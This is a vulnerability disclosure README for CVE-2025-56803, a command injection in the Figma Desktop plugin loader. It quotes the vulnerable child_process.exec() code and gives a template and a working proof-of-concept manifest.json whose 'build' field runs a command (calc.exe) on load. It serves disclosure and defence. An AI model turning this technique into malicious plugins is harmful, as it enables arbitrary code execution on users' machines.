来源

关联漏洞

描述

Command Injection Vulnerability via Plugin Execution in Figma Desktop Application

介绍

# CVE-2025-56803
### Command Injection Vulnerability via Plugin Execution in Figma Desktop Application

## 1. Overview

<img src="images/figma_icon.png" alt="Figma Icon" align="left" width="60" hspace="10"/>
<br clear="left"/>

- **Application**: Figma Desktop Application  
- **Version**: 125.6.5  
- **Vendor**: Figma, Inc.  
- **CWE**: [CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)
- 
## 2. Summary
Figma Desktop Application(v125.6.5) contains a command injection vulnerability in plugin loader.   
A malicious plugin manifest(`manifest.json`) can abuse the `build` field, which is passed directly into `child_process.exec()` without validation.   
This allows arbitrary OS command execution as soon as the plugin is loaded, without security warnings or prompts.  

## 3. Details
The vulnerability stems from code located in `main.js`, which imports Node.js’s built-in `child_process` module:
```javascript
Zlt = require("child_process")
```
Later, if the `build` field is present in a plugin’s `manifest.json` file and its value is a string, application executes the value directly using `child_process.exec()` without any sanitization or validation:
```javascript
if (
  s.build &&
  typeof s.build === "string" &&
  (l.path = process.env.PATH || "",
  await new Promise((g) => {
    (0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
      l.stdout = I;
      l.stderr = P;
      y && (l.buildErrCode = y.code);
      g();
    });
  }),
  l.buildErrCode
)
  return l;
```
As a result, the following `manifest.json` file contained in a malicious plugin would cause the value of the build field to be executed as an OS command:
```json
{
  "name": "<NAME>",
  "id": "<ID>",
  "api": "1.0.0",
  "main": "code.js",
  "build": "<COMMAND>",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}
```
This execution flow is embedded in Figma’s plugin handling logic, and the inclusion of the `require("child_process")` call in `main.js` confirms that command execution is built directly into the application’s core logic.
## 4. Proof of Concept (PoC)
By running a plugin that includes the following malicious `manifest.json`:
```json
{
  "name": "poc",
  "id": "1535549154235958412",
  "api": "1.0.0",
  "main": "code.js",
  "build": "calc.exe",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}
```
Once this plugin is registered in Figma and executed, the specified OS command(`calc.exe`) runs immediately.

https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7


## 5. Recommendations
Although the execution of the `build` field is an officially supported feature in the Figma Desktop Application, the application should avoid relying on user-controlled fields in `manifest.json`, such as `build`, wherever possible.  
If such fields must be supported, they must undergo strict input validation to prevent command injection.  
Additionally, the use of Node.js `child_process.exec()` should be avoided, and safer alternatives with explicit argument handling should be adopted instead.  
## 6. References
- https://www.cve.org/CVERecord?id=CVE-2025-56803  
- https://www.figma.com/plugin-docs/manifest/  

文件快照

 [4.0K]  /data/pocs/a12c1d2328cc57aa3a60a9e0d45c7bdb6151dd93
├── [4.0K]  images
│   ├── [ 69K]  figma_icon.png
│   └── [298K]  figma-poc.mp4
├── [4.0K]  poc-plugin
│   ├── [ 118]  code.js
│   ├── [ 900]  code.ts
│   ├── [ 304]  manifest.json
│   ├── [1.1K]  package.json
│   ├── [   1]  README.md
│   └── [ 178]  tsconfig.json
└── [3.4K]  README.md

2 directories, 9 files

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